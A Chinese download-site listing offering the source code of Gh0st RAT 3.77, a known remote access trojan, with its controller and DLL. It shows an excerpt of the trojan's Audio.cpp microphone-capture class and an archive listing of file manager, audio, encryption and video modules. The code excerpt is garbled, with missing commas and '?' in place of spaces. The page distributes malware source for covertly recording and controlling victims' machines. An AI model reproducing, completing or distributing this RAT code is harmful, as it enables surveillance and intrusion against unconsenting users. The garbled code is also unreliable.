資源簡介
GH0ST3.77主控源碼+DLL源碼其他下載分太多了,我這里少點兒分享給大家吧,下載這個花了我10分。

代碼片段和文件信息
//?Audio.cpp:?implementation?of?the?CAudio?class.
//
//////////////////////////////////////////////////////////////////////
#include?“Audio.h“
//////////////////////////////////////////////////////////////////////
//?Construction/Destruction
//////////////////////////////////////////////////////////////////////
CAudio::CAudio()
{
m_hEventWaveIn =?CreateEvent(NULL?false?false?NULL);
m_hStartRecord =?CreateEvent(NULL?false?false?NULL);
m_hThreadCallBack =?NULL;
m_nWaveInIndex =?0;
m_nWaveOutIndex =?0;
m_nBufferLength =?1000;?//?m_GSMWavefmt.wfx.nSamplesPerSec?/?8(bit)
m_bIsWaveInUsed =?false;
m_bIsWaveOutUsed =?false;
for?(int?i?=?0;?i?2;?i++)
{
m_lpInAudioData[i]?=?new?BYTE[m_nBufferLength];
m_lpInAudioHdr[i]?=?new?WAVEHDR;
m_lpOutAudioData[i]?=?new?BYTE[m_nBufferLength];
m_lpOutAudioHdr[i]?=?new?WAVEHDR;
}
memset(&m_GSMWavefmt?0?sizeof(GSM610WAVEFORMAT));
m_GSMWavefmt.wfx.wFormatTag?=?WAVE_FORMAT_GSM610;?//?ACM?will?auto?convert?wave?format
m_GSMWavefmt.wfx.nChannels?=?1;
m_GSMWavefmt.wfx.nSamplesPerSec?=?8000;
m_GSMWavefmt.wfx.nAvgBytesPerSec?=?1625;
m_GSMWavefmt.wfx.nBlockAlign?=?65;
m_GSMWavefmt.wfx.wBitsPerSample?=?0;
m_GSMWavefmt.wfx.cbSize?=?2;
m_GSMWavefmt.wSamplesPerBlock?=?320;
}
CAudio::~CAudio()
{
if?(m_bIsWaveInUsed)
{
waveInStop(m_hWaveIn);
waveInReset(m_hWaveIn);
for?(int?i?=?0;?i?2;?i++)
waveInUnprepareHeader(m_hWaveIn?m_lpInAudioHdr[i]?sizeof(WAVEHDR));
waveInClose(m_hWaveIn);
TerminateThread(m_hThreadCallBack?-1);
}
if?(m_bIsWaveOutUsed)
{
waveOutReset(m_hWaveOut);
for?(int?i?=?0;?i?2;?i++)
waveOutUnprepareHeader(m_hWaveOut?m_lpInAudioHdr[i]?sizeof(WAVEHDR));
waveOutClose(m_hWaveOut);
}
for?(int?i?=?0;?i?2;?i++)
{
delete?[]?m_lpInAudioData[i];
delete?m_lpInAudioHdr[i];
delete?[]?m_lpOutAudioData[i];
delete?m_lpOutAudioHdr[i];
}
CloseHandle(m_hEventWaveIn);
CloseHandle(m_hStartRecord);
CloseHandle(m_hThreadCallBack);
}
LPBYTE?CAudio::getRecordBuffer(LPDWORD?lpdwBytes)
{
//?Not?open?WaveIn?yet?so?open?it...
if?(!m_bIsWaveInUsed?&&?!InitializeWaveIn())
return?NULL;
if?(lpdwBytes?==?NULL)
return?NULL;
SetEvent(m_hStartRecord);
WaitForSingleobject(m_hEventWaveIn?INFINITE);
*lpdwBytes?=?m_nBufferLength;
return m_lpInAudioData[m_nWaveInIndex];
}
bool?CAudio::playBuffer(LPBYTE?lpWaveBuffer?DWORD?dwBytes)
{
if?(!m_bIsWaveOutUsed?&&?!InitializeWaveOut())
return?NULL;
for?(int?i?=?0;?i? {
memcpy(m_lpOutAudioData[m_nWaveOutIndex]?lpWaveBuffer?m_nBufferLength);
waveOutWrite(m_hWaveOut?m_lpOutAudioHdr[m_nWaveOutIndex]?sizeof(WAVEHDR));
m_nWaveOutIndex?=?1?-?m_nWaveOutIndex;
}
return?true;
}
bool?CAudio::InitializeWaveIn()
{
if?(!waveInGetNumDevs())
return?false;
MMRESULT mmResult;
DWORD dwThreadID?=?0;
m_hThreadCallBack?=?CreateThread(NULL?0
?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????文件??????90476??2010-12-06?19:33??GH0ST3.77主控源碼+DLL源碼\精簡版本3.77_去除通訊頭\Bin\Sound\Login.wav
?????文件??????88514??2010-12-06?19:33??GH0ST3.77主控源碼+DLL源碼\精簡版本3.77_去除通訊頭\Bin\Sound\Offline.wav
?????文件???????5195??2008-03-27?09:23??GH0ST3.77主控源碼+DLL源碼\精簡版本3.77_去除通訊頭\common\Audio.cpp
?????文件???????1280??2008-03-19?00:31??GH0ST3.77主控源碼+DLL源碼\精簡版本3.77_去除通訊頭\common\Audio.h
?????文件???????1810??2008-03-25?01:09??GH0ST3.77主控源碼+DLL源碼\精簡版本3.77_去除通訊頭\common\CursorInfo.h
?????文件???????8854??2012-04-27?20:18??GH0ST3.77主控源碼+DLL源碼\精簡版本3.77_去除通訊頭\common\DES.CPP
?????文件????????175??2012-04-27?20:19??GH0ST3.77主控源碼+DLL源碼\精簡版本3.77_去除通訊頭\common\DES.H
?????文件???????8882??2012-04-27?20:19??GH0ST3.77主控源碼+DLL源碼\精簡版本3.77_去除通訊頭\common\DES2.CPP
?????文件????????204??2012-04-27?20:19??GH0ST3.77主控源碼+DLL源碼\精簡版本3.77_去除通訊頭\common\DES2.H
?????文件???????4627??2013-08-03?22:26??GH0ST3.77主控源碼+DLL源碼\精簡版本3.77_去除通訊頭\common\macros.h
?????文件???????3636??2008-03-26?03:07??GH0ST3.77主控源碼+DLL源碼\精簡版本3.77_去除通訊頭\common\VideoCodec.h
?????文件??????13375??2010-04-18?10:58??GH0ST3.77主控源碼+DLL源碼\精簡版本3.77_去除通訊頭\common\zlib\zconf.h
?????文件??????79564??2010-04-19?21:12??GH0ST3.77主控源碼+DLL源碼\精簡版本3.77_去除通訊頭\common\zlib\zlib.h
?????文件?????116858??2011-07-09?22:10??GH0ST3.77主控源碼+DLL源碼\精簡版本3.77_去除通訊頭\common\zlib\zlib.lib
?????文件???????3600??2010-07-22?16:15??GH0ST3.77主控源碼+DLL源碼\精簡版本3.77_去除通訊頭\gh0st\AudioDlg.cpp
?????文件???????1652??2008-03-19?11:10??GH0ST3.77主控源碼+DLL源碼\精簡版本3.77_去除通訊頭\gh0st\AudioDlg.h
?????文件???????1595??2008-03-26?16:55??GH0ST3.77主控源碼+DLL源碼\精簡版本3.77_去除通訊頭\gh0st\BmpToAvi.cpp
?????文件????????796??2008-03-26?16:57??GH0ST3.77主控源碼+DLL源碼\精簡版本3.77_去除通訊頭\gh0st\BmpToAvi.h
?????文件???????2735??2012-04-24?22:33??GH0ST3.77主控源碼+DLL源碼\精簡版本3.77_去除通訊頭\gh0st\ChangeGroup.cpp
?????文件???????1375??2012-04-24?22:32??GH0ST3.77主控源碼+DLL源碼\精簡版本3.77_去除通訊頭\gh0st\ChangeGroup.h
?????文件??????59750??2002-12-20?14:03??GH0ST3.77主控源碼+DLL源碼\精簡版本3.77_去除通訊頭\gh0st\control\BtnST.cpp
?????文件???????9972??2002-12-20?14:01??GH0ST3.77主控源碼+DLL源碼\精簡版本3.77_去除通訊頭\gh0st\control\BtnST.h
?????文件???????1058??2006-09-06?16:43??GH0ST3.77主控源碼+DLL源碼\精簡版本3.77_去除通訊頭\gh0st\control\HoverEdit.cpp
?????文件???????2457??2006-09-06?16:46??GH0ST3.77主控源碼+DLL源碼\精簡版本3.77_去除通訊頭\gh0st\control\HoverEdit.h
?????文件???????2941??2008-01-26?23:42??GH0ST3.77主控源碼+DLL源碼\精簡版本3.77_去除通訊頭\gh0st\control\WinXPButtonST.cpp
?????文件???????1571??2008-01-26?23:32??GH0ST3.77主控源碼+DLL源碼\精簡版本3.77_去除通訊頭\gh0st\control\WinXPButtonST.h
?????文件??????79441??2006-05-16?21:05??GH0ST3.77主控源碼+DLL源碼\精簡版本3.77_去除通訊頭\gh0st\CustomTabCtrl.cpp
?????文件???????8596??2006-05-11?22:15??GH0ST3.77主控源碼+DLL源碼\精簡版本3.77_去除通訊頭\gh0st\CustomTabCtrl.h
?????文件???????1069??2008-01-18?12:50??GH0ST3.77主控源碼+DLL源碼\精簡版本3.77_去除通訊頭\gh0st\encode.h
?????文件??????72719??2013-08-04?00:08??GH0ST3.77主控源碼+DLL源碼\精簡版本3.77_去除通訊頭\gh0st\FileManagerDlg.cpp
............此處省略509個文件信息
- 上一篇:LDC1000 STM32
- 下一篇:Tab2Shp 批量tab轉shp工具
評論
共有 條評論